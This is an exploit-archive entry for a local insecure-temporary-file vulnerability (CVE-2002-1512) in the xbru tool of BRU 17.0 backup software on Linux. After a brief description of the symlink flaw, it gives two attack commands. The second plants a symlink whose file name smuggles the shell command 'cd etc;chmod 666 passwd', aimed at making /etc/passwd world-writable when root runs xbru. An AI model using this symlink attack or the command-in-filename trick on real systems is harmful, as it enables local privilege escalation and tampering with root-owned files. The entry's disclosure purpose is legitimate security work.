BRU 17.0 XBRU Insecure Temporary File Vulnerability

ID EDB-ID:21793
Type exploitdb
Reporter prophecy
Modified 2002-09-13T00:00:00


BRU 17.0 XBRU Insecure Temporary File Vulnerability. CVE-2002-1512. Local exploit for linux platform


BRU is a backup and restore utility distributed by The Tolis Group. This problem affects the utility on the Linux platform.

xbru does not properly check for the existence of temporary files prior to execution. Because of this, it is possible for a local user to create symbolic links to other files, which will be overwritten by the BRU user. As BRU is typically run by the root user, this could result in the overwriting of root-owned files. 

ln -s /tmp/clobber /tmp/xbru_dscheck.dd

ln -s /etc/log.d/scripts/logfiles/xferlog/'`cd etc;chmod 666 passwd #`' /tmp/xbru_dscheck.dd